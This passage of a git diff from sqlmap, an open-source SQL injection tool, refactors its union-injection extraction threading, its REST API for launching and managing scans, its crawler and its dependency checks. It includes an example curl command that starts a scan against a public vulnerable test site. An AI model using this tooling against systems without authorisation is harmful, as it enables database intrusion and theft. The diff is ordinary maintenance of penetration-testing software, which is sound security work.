((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ @@ -271,28 +275,31 @@ def unionUse(expression, unpack=True, dump=False): break if output: - if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): - items = parseUnionPage(output) + with kb.locks.value: + if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): + items = parseUnionPage(output) - with kb.locks.value: if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) - # in case that we requested N columns and we get M!=N then we have to filter a bit - if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1: - items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] + if isListLike(items): + # in case that we requested N columns and we get M!=N then we have to filter a bit + if len(items) > 1 and len(expressionFieldsList) > 1: + items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] + items = [_ for _ in flattenValue(items)] + if len(items) > len(expressionFieldsList): + filtered = OrderedDict() + for item in items: + key = re.sub(r"[^A-Za-z0-9]", "", item).lower() + if key not in filtered or re.search(r"[^A-Za-z0-9]", item): + filtered[key] = item + items = filtered.values() + items = [items] index = None for index in xrange(len(threadData.shared.buffered)): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, items)) - while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: - threadData.shared.lastFlushed += 1 - _ = threadData.shared.buffered[0][1] - if not isNoneValue(_): - threadData.shared.value.extend(arrayizeValue(_)) - del threadData.shared.buffered[0] - else: - with kb.locks.value: + else: index = None if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) @@ -300,15 +307,22 @@ def unionUse(expression, unpack=True, dump=False): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, None)) - items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) + + items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) + + while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): + threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] + if not isNoneValue(_): + threadData.shared.value.extend(arrayizeValue(_)) + del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: - status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))))) + status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items)) if len(status) > width: status = "%s..." % status[:width - 3] - dataToStdout("%s\r\n" % status, True) + dataToStdout("%s\n" % status, True) runThreads(numThreads, unionThread) diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index 3f5bf0183..357d4d3b5 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -1,7 +1,8 @@ #!/usr/bin/env python +# -*- coding: utf-8 -*- """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -28,43 +29,38 @@ from lib.core.datatype import AttribDict from lib.core.defaults import _defaults from lib.core.enums import CONTENT_STATUS from lib.core.enums import PART_RUN_CONTENT_TYPES +from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict +from lib.core.settings import IS_WIN from lib.core.subprocessng import Popen -from lib.core.subprocessng import send_all -from lib.core.subprocessng import recv_some -from thirdparty.bottle.bottle import abort -from thirdparty.bottle.bottle import error +from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook from thirdparty.bottle.bottle import post from thirdparty.bottle.bottle import request from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run -from thirdparty.bottle.bottle import static_file RESTAPI_SERVER_HOST = "127.0.0.1" RESTAPI_SERVER_PORT = 8775 -# Local global variables -adminid = "" -db = None -db_filepath = None -tasks = dict() + +# global settings +class DataStore(object): + admin_id = "" + current_db = None + tasks = dict() + # API objects class Database(object): - global db_filepath - - LOGS_TABLE = "CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)" - DATA_TABLE = "CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)" - ERRORS_TABLE = "CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)" + filepath = None def __init__(self, database=None): - if database: - self.database = database - else: - self.database = db_filepath + self.database = self.filepath if database is None else database + self.connection = None + self.cursor = None def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None) @@ -72,53 +68,80 @@ class Database(object): logger.debug("REST-JSON API %s connected to IPC database" % who) def disconnect(self): - self.cursor.close() - self.connection.close() + if self.cursor: + self.cursor.close() + + if self.connection: + self.connection.close() def commit(self): - self.cursor.commit() + self.connection.commit() def execute(self, statement, arguments=None): - if arguments: - self.cursor.execute(statement, arguments) - else: - self.cursor.execute(statement) + while True: + try: + if arguments: + self.cursor.execute(statement, arguments) + else: + self.cursor.execute(statement) + except sqlite3.OperationalError, ex: + if not "locked" in ex.message: + raise + else: + break if statement.lstrip().upper().startswith("SELECT"): return self.cursor.fetchall() def init(self): - self.execute(self.LOGS_TABLE) - self.execute(self.DATA_TABLE) - self.execute(self.ERRORS_TABLE) + self.execute("CREATE TABLE logs(" + "id INTEGER PRIMARY KEY AUTOINCREMENT, " + "taskid INTEGER, time TEXT, " + "level TEXT, message TEXT" + ")") + + self.execute("CREATE TABLE data(" + "id INTEGER PRIMARY KEY AUTOINCREMENT, " + "taskid INTEGER, status INTEGER, " + "content_type INTEGER, value TEXT" + ")") + + self.execute("CREATE TABLE errors(" + "id INTEGER PRIMARY KEY AUTOINCREMENT, " + "taskid INTEGER, error TEXT" + ")") + class Task(object): - global db_filepath - def __init__(self, taskid): self.process = None self.output_directory = None + self.options = None + self._original_options = None self.initialize_options(taskid) def initialize_options(self, taskid): - dataype = {"boolean": False, "string": None, "integer": None, "float": None} + datatype = {"boolean": False, "string": None, "integer": None, "float": None} self.options = AttribDict() for _ in optDict: for name, type_ in optDict[_].items(): type_ = unArrayizeValue(type_) - self.options[name] = _defaults.get(name, dataype[type_]) + self.options[name] = _defaults.get(name, datatype[type_]) - # Let sqlmap engine knows it is getting called by the API, the task ID and the file path of the IPC database + # Let sqlmap engine knows it is getting called by the API, + # the task ID and the file path of the IPC database self.options.api = True self.options.taskid = taskid - self.options.database = db_filepath + self.options.database = Database.filepath # Enforce batch mode and disable coloring and ETA self.options.batch = True self.options.disableColoring = True self.options.eta = False + self._original_options = AttribDict(self.options) + def set_option(self, option, value): self.options[option] = value @@ -128,17 +151,12 @@ class Task(object): def get_options(self): return self.options - def set_output_directory(self): - if not self.output_directory or not os.path.isdir(self.output_directory): - self.output_directory = tempfile.mkdtemp(prefix="sqlmapoutput-") - self.set_option("oDir", self.output_directory) - - def clean_filesystem(self): - if self.output_directory: - shutil.rmtree(self.output_directory) + def reset_options(self): + self.options = AttribDict(self._original_options) def engine_start(self): - self.process = Popen("python sqlmap.py --pickled-options %s" % base64pickle(self.options), shell=True, stdin=PIPE, close_fds=False) + self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], + shell=False, stdin=PIPE, close_fds=not IS_WIN) def engine_stop(self): if self.process: @@ -146,6 +164,9 @@ class Task(object): else: return None + def engine_process(self): + return self.process + def engine_kill(self): if self.process: return self.process.kill() @@ -159,12 +180,16 @@ class Task(object): return None def engine_get_returncode(self): - self.process.poll() - return self.process.returncode + if self.process: + self.process.poll() + return self.process.returncode + else: + return None def engine_has_terminated(self): return isinstance(self.engine_get_returncode(), int) + # Wrapper functions for sqlmap engine class StdDbOut(object): def __init__(self, taskid, messagetype="stdout"): @@ -180,8 +205,6 @@ class StdDbOut(object): def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": - insert = True - if content_type is None: if kb.partRun is not None: content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) @@ -189,30 +212,27 @@ class StdDbOut(object): # Ignore all non-relevant messages return - output = conf.database_cursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", - (self.taskid, content_type)) - - #print >>sys.__stdout__, "output: %s\nvalue: %s\nstatus: %d\ncontent_type: %d\nkb.partRun: %s\n--------------" % (output, value, status, content_type, kb.partRun) + output = conf.database_cursor.execute( + "SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", + (self.taskid, content_type)) # Delete partial output from IPC database if we have got a complete output if status == CONTENT_STATUS.COMPLETE: if len(output) > 0: - for index in xrange(0, len(output)): - if output[index][1] == CONTENT_STATUS.COMPLETE: - insert = False - else: - conf.database_cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) + for index in xrange(len(output)): + conf.database_cursor.execute("DELETE FROM data WHERE id = ?", + (output[index][0],)) - if insert: - conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", - (self.taskid, status, content_type, jsonize(value))) + conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", + (self.taskid, status, content_type, jsonize(value))) if kb.partRun: kb.partRun = None elif status == CONTENT_STATUS.IN_PROGRESS: if len(output) == 0: conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", - (self.taskid, status, content_type, jsonize(value))) + (self.taskid, status, content_type, + jsonize(value))) else: new_value = "%s%s" % (dejsonize(output[0][2]), value) conf.database_cursor.execute("UPDATE data SET value = ? WHERE id = ?", @@ -230,6 +250,7 @@ class StdDbOut(object): def seek(self): pass + class LogRecorder(logging.StreamHandler): def emit(self, record): """ @@ -238,25 +259,27 @@ class LogRecorder(logging.StreamHandler): """ conf.database_cursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, - record.msg % record.args if record.args else record.msg)) + record.msg % record.args if record.args else record.msg)) + def setRestAPILog(): if hasattr(conf, "api"): - conf.database_cursor = Database(conf.database) - conf.database_cursor.connect("client") + try: + conf.database_cursor = Database(conf.database) + conf.database_cursor.connect("client") + except sqlite3.OperationalError, ex: + raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database) # Set a logging handler that writes log messages to a IPC database logger.removeHandler(LOGGER_HANDLER) LOGGER_RECORDER = LogRecorder() logger.addHandler(LOGGER_RECORDER) + # Generic functions def is_admin(taskid): - global adminid - if adminid != taskid: - return False - else: - return True + return DataStore.admin_id == taskid + @hook("after_request") def security_headers(json_header=True): @@ -277,22 +300,26 @@ def security_headers(json_header=True): # HTTP Status Code functions # ############################## -@error(401) # Access Denied + +@return_error(401) # Access Denied def error401(error=None): security_headers(False) return "Access denied" -@error(404) # Not Found + +@return_error(404) # Not Found def error404(error=None): security_headers(False) return "Nothing here" -@error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) + +@return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) def error405(error=None): security_headers(False) return "Method not allowed" -@error(500) # Internal Server Error + +@return_error(500) # Internal Server Error def error500(error=None): security_headers(False) return "Internal server error" @@ -301,205 +328,221 @@ def error500(error=None): # Task management functions # ############################# + # Users' methods @get("/task/new") def task_new(): """ Create new task ID """ - global tasks - taskid = hexencode(os.urandom(8)) - tasks[taskid] = Task(taskid) + DataStore.tasks[taskid] = Task(taskid) + + logger.debug("Created new task: '%s'" % taskid) + return jsonize({"success": True, "taskid": taskid}) - logger.debug("Created new task ID: %s" % taskid) - return jsonize({"taskid": taskid}) @get("/task//delete") def task_delete(taskid): """ Delete own task ID """ - if taskid in tasks: - tasks[taskid].clean_filesystem() - tasks.pop(taskid) + if taskid in DataStore.tasks: + DataStore.tasks.pop(taskid) - logger.debug("Deleted task ID: %s" % taskid) + logger.debug("[%s] Deleted task" % taskid) return jsonize({"success": True}) else: - abort(500, "Invalid task ID") + logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) ################### # Admin functions # ################### + @get("/admin//list") def task_list(taskid): """ List task pull """ if is_admin(taskid): - logger.debug("Listed task pull") - return jsonize({"tasks": tasks, "tasks_num": len(tasks)}) + logger.debug("[%s] Listed task pool" % taskid) + tasks = list(DataStore.tasks) + return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) else: - abort(401) + logger.warning("[%s] Unauthorized call to task_list()" % taskid) + return jsonize({"success": False, "message": "Unauthorized"}) + @get("/admin//flush") def task_flush(taskid): """ Flush task spool (delete all tasks) """ - global tasks - if is_admin(taskid): - for task in tasks: - tasks[task].clean_filesystem() - - tasks = dict() - logger.debug("Flushed task pull") + DataStore.tasks = dict() + logger.debug("[%s] Flushed task pool" % taskid) return jsonize({"success": True}) else: - abort(401) + logger.warning("[%s] Unauthorized call to task_flush()" % taskid) + return jsonize({"success": False, "message": "Unauthorized"}) ################################## # sqlmap core interact functions # ################################## + # Handle task's options @get("/option//list") def option_list(taskid): """ List options for a certain task ID """ - if taskid not in tasks: - abort(500, "Invalid task ID") + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to option_list()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + logger.debug("[%s] Listed task options" % taskid) + return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) - return jsonize({"options": tasks[taskid].get_options()}) @post("/option//get") def option_get(taskid): """ Get the value of an option (command line switch) for a certain task ID """ - global tasks - - if taskid not in tasks: - abort(500, "Invalid task ID") + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) option = request.json.get("option", "") - if option in tasks[taskid]: - return jsonize({option: tasks[taskid].get_option(option)}) + if option in DataStore.tasks[taskid].options: + logger.debug("[%s] Retrieved value for option %s" % (taskid, option)) + return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)}) else: - return jsonize({option: "not set"}) + logger.debug("[%s] Requested value for unknown option %s" % (taskid, option)) + return jsonize({"success": False, "message": "Unknown option", option: "not set"}) + @post("/option//set") def option_set(taskid): """ Set an option (command line switch) for a certain task ID """ - global tasks - - if taskid not in tasks: - abort(500, "Invalid task ID") + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) for option, value in request.json.items(): - tasks[taskid].set_option(option, value) + DataStore.tasks[taskid].set_option(option, value) + logger.debug("[%s] Requested to set options" % taskid) return jsonize({"success": True}) + # Handle scans @post("/scan//start") def scan_start(taskid): """ Launch a scan """ - global tasks - - if taskid not in tasks: - abort(500, "Invalid task ID") + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): - tasks[taskid].set_option(option, value) - - # Overwrite output directory value to a temporary directory - tasks[taskid].set_output_directory() + DataStore.tasks[taskid].set_option(option, value) # Launch sqlmap engine in a separate process - tasks[taskid].engine_start() + DataStore.tasks[taskid].engine_start() + + logger.debug("[%s] Started scan" % taskid) + return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) - logger.debug("Started scan for task ID %s" % taskid) - return jsonize({"success": True, "engineid": tasks[taskid].engine_get_id()}) @get("/scan//stop") def scan_stop(taskid): """ Stop a scan """ - global tasks + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) - if taskid not in tasks: - abort(500, "Invalid task ID") + DataStore.tasks[taskid].engine_stop() - tasks[taskid].engine_stop() - - logger.debug("Stopped scan for task ID %s" % taskid) + logger.debug("[%s] Stopped scan" % taskid) return jsonize({"success": True}) + @get("/scan//kill") def scan_kill(taskid): """ Kill a scan """ - global tasks + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) - if taskid not in tasks: - abort(500, "Invalid task ID") + DataStore.tasks[taskid].engine_kill() - tasks[taskid].engine_kill() - - logger.debug("Killed scan for task ID %s" % taskid) + logger.debug("[%s] Killed scan" % taskid) return jsonize({"success": True}) + @get("/scan//status") def scan_status(taskid): """ Returns status of a scan """ - global tasks + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) - if taskid not in tasks: - abort(500, "Invalid task ID") + if DataStore.tasks[taskid].engine_process() is None: + status = "not running" + else: + status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" - status = "terminated" if tasks[taskid].engine_has_terminated() is True else "running" + logger.debug("[%s] Retrieved scan status" % taskid) + return jsonize({ + "success": True, + "status": status, + "returncode": DataStore.tasks[taskid].engine_get_returncode() + }) - logger.debug("Requested status of scan for task ID %s" % taskid) - return jsonize({"status": status, "returncode": tasks[taskid].engine_get_returncode()}) @get("/scan//data") def scan_data(taskid): """ Retrieve the data of a scan """ - global db - global tasks json_data_message = list() json_errors_message = list() - if taskid not in tasks: - abort(500, "Invalid task ID") + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid - for status, content_type, value in db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): - json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)}) + for status, content_type, value in DataStore.current_db.execute( + "SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", + (taskid,)): + json_data_message.append( + {"status": status, "type": content_type, "value": dejsonize(value)}) # Read all error messages from the IPC database - for error in db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): + for error in DataStore.current_db.execute( + "SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", + (taskid,)): json_errors_message.append(error) - logger.debug("Retrieved data and error messages for scan for task ID %s" % taskid) - return jsonize({"data": json_data_message, "error": json_errors_message}) + logger.debug("[%s] Retrieved scan data and error messages" % taskid) + return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) + # Functions to handle scans' logs @get("/scan//log//") @@ -507,44 +550,49 @@ def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ - global db - global tasks json_log_messages = list() - if taskid not in tasks: - abort(500, "Invalid task ID") + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_log_limited()") + return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or end < start: - abort(500, "Invalid start or end value, must be digits") + logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) + return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) start = max(1, int(start)) end = max(1, int(end)) # Read a subset of log messages from the IPC database - for time_, level, message in db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)): + for time_, level, message in DataStore.current_db.execute( + ("SELECT time, level, message FROM logs WHERE " + "taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"), + (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) - logger.debug("Retrieved subset of log messages for scan for task ID %s" % taskid) - return jsonize({"log": json_log_messages}) + logger.debug("[%s] Retrieved scan log messages subset" % taskid) + return jsonize({"success": True, "log": json_log_messages}) + @get("/scan//log") def scan_log(taskid): """ Retrieve the log messages """ - global db - global tasks json_log_messages = list() - if taskid not in tasks: - abort(500, "Invalid task ID") + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_log()") + return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database - for time_, level, message in db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): + for time_, level, message in DataStore.current_db.execute( + "SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) - logger.debug("Retrieved log messages for scan for task ID %s" % taskid) - return jsonize({"log": json_log_messages}) + logger.debug("[%s] Retrieved scan log messages" % taskid) + return jsonize({"success": True, "log": json_log_messages}) + # Function to handle files inside the output directory @get("/download///") @@ -552,43 +600,47 @@ def download(taskid, target, filename): """ Download a certain file from the file system """ - if taskid not in tasks: - abort(500, "Invalid task ID") + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to download()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) # Prevent file path traversal - the lame way - if target.startswith("."): - abort(500) + if ".." in target: + logger.warning("[%s] Forbidden path (%s)" % (taskid, target)) + return jsonize({"success": False, "message": "Forbidden path"}) path = os.path.join(paths.SQLMAP_OUTPUT_PATH, target) if os.path.exists(path): - return static_file(filename, root=path) + logger.debug("[%s] Retrieved content of file %s" % (taskid, target)) + with open(path, 'rb') as inf: + file_content = inf.read() + return jsonize({"success": True, "file": file_content.encode("base64")}) else: - abort(500, "File does not exist") + logger.warning("[%s] File does not exist %s" % (taskid, target)) + return jsonize({"success": False, "message": "File does not exist"}) + def server(host="0.0.0.0", port=RESTAPI_SERVER_PORT): """ REST-JSON API server """ - global adminid - global db - global db_filepath - - adminid = hexencode(os.urandom(16)) - db_filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1] + DataStore.admin_id = hexencode(os.urandom(16)) + Database.filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1] logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) - logger.info("Admin ID: %s" % adminid) - logger.debug("IPC database: %s" % db_filepath) + logger.info("Admin ID: %s" % DataStore.admin_id) + logger.debug("IPC database: %s" % Database.filepath) # Initialize IPC database - db = Database() - db.connect() - db.init() + DataStore.current_db = Database() + DataStore.current_db.connect() + DataStore.current_db.init() # Run RESTful API run(host=host, port=port, quiet=True, debug=False) + def client(host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): """ REST-JSON API client @@ -598,7 +650,9 @@ def client(host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): # TODO: write a simple client with requests, for now use curl from command line logger.error("Not yet implemented, use curl from command line instead for now, for example:") - print "\n\t$ curl http://%s:%d/task/new" % (host, port) - print "\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/:taskid/start" % (host, port) - print "\t$ curl http://%s:%d/scan/:taskid/data" % (host, port) - print "\t$ curl http://%s:%d/scan/:taskid/log\n" % (host, port) + print "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\{16\}') && echo $taskid" % (host, port) + print ("\t$ curl -H \"Content-Type: application/json\" " + "-X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' " + "http://%s:%d/scan/$taskid/start") % (host, port) + print "\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) + print "\t$ curl http://%s:%d/scan/$taskid/log\n" % (host, port) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index ffccf67da..ffac14e13 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,26 +1,34 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import codecs import httplib +import os import re import urlparse +import tempfile import time from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import findPageForms +from lib.core.common import openFile +from lib.core.common import readInput +from lib.core.common import safeCSValue from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS +from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads +from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup from thirdparty.oset.pyoset import oset @@ -40,6 +48,10 @@ def crawl(target): current = threadData.shared.unprocessed.pop() if current in visited: continue + elif conf.crawlExclude and re.search(conf.crawlExclude, current): + dbgMsg = "skipping '%s'" % current + logger.debug(dbgMsg) + continue else: visited.add(current) else: @@ -109,15 +121,32 @@ def crawl(target): threadData.shared.deeper = set() threadData.shared.unprocessed = set([target]) + if not conf.sitemapUrl: + message = "do you want to check for the existence of " + message += "site's sitemap(.xml) [y/N] " + test = readInput(message, default="n") + if test[0] in ("y", "Y"): + items = None + url = urlparse.urljoin(target, "/sitemap.xml") + try: + items = parseSitemap(url) + except: + pass + finally: + if items: + for item in items: + if re.search(r"(.*?)\?(.+)", item): + threadData.shared.value.add(item) + if conf.crawlDepth > 1: + threadData.shared.unprocessed.update(items) + logger.info("%s links found" % ("no" if not items else len(items))) + infoMsg = "starting crawler" if conf.bulkFile: infoMsg += " for target URL '%s'" % target logger.info(infoMsg) for i in xrange(conf.crawlDepth): - if i > 0 and conf.threads == 1: - singleTimeWarnMessage("running in a single-thread mode. This could take a while") - threadData.shared.count = 0 threadData.shared.length = len(threadData.shared.unprocessed) numThreads = min(conf.threads, len(threadData.shared.unprocessed)) @@ -125,7 +154,7 @@ def crawl(target): if not conf.bulkFile: logger.info("searching for links with depth %d" % (i + 1)) - runThreads(numThreads, crawlThread) + runThreads(numThreads, crawlThread, threadChoice=(i>0)) clearConsoleLine(True) if threadData.shared.deeper: @@ -146,4 +175,33 @@ def crawl(target): logger.warn(warnMsg) else: for url in threadData.shared.value: - kb.targets.add((url, None, None, None)) + kb.targets.add((url, None, None, None, None)) + + storeResultsToFile(kb.targets) + +def storeResultsToFile(results): + if not results: + return + + if kb.storeCrawlingChoice is None: + message = "do you want to store crawling results to a temporary file " + message += "for eventual further processing with other tools [y/N] " + test = readInput(message, default="N") + kb.storeCrawlingChoice = test[0] in ("y", "Y") + + if kb.storeCrawlingChoice: + handle, filename = tempfile.mkstemp(prefix="sqlmapcrawling-", suffix=".csv" if conf.forms else ".txt") + os.close(handle) + + infoMsg = "writing crawling results to a temporary file '%s' " % filename + logger.info(infoMsg) + + with openFile(filename, "w+b") as f: + if conf.forms: + f.write("URL,POST\n") + + for url, _, data, _, _ in results: + if conf.forms: + f.write("%s,%s\n" % (safeCSValue(url), safeCSValue(data or ""))) + else: + f.write("%s\n" % url) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index c3ddda122..efca6e1c3 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -46,7 +46,7 @@ def checkDependencies(): import jpype except ImportError: warnMsg = "sqlmap requires '%s' third-party library " % data[1] - warnMsg += "in order to directly connect to the database " + warnMsg += "in order to directly connect to the DBMS " warnMsg += "%s. Download from %s" % (dbmsName, data[2]) logger.warn(warnMsg) missing_libraries.add(data[1]) @@ -72,12 +72,23 @@ def checkDependencies(): debugMsg = "'python-ntlm' third-party library is found" logger.debug(debugMsg) except ImportError: - warnMsg = "sqlmap requires 'python-ntlm' third-party library for " + warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/" logger.warn(warnMsg) missing_libraries.add('python-ntlm') + try: + from websocket import ABNF + debugMsg = "'python websocket-client' library is found" + logger.debug(debugMsg) + except ImportError: + warnMsg = "sqlmap requires 'websocket-client' third-party library " + warnMsg += "if you plan to attack a web application using WebSocket. " + warnMsg += "Download from https://pypi.python.org/pypi/websocket-client/" + logger.warn(warnMsg) + missing_libraries.add('websocket-client') + if IS_WIN: try: import pyreadline diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 65a54e147..af9a56160 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/google.py b/lib/utils/google.py index af5f45021..b12de7ced 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ 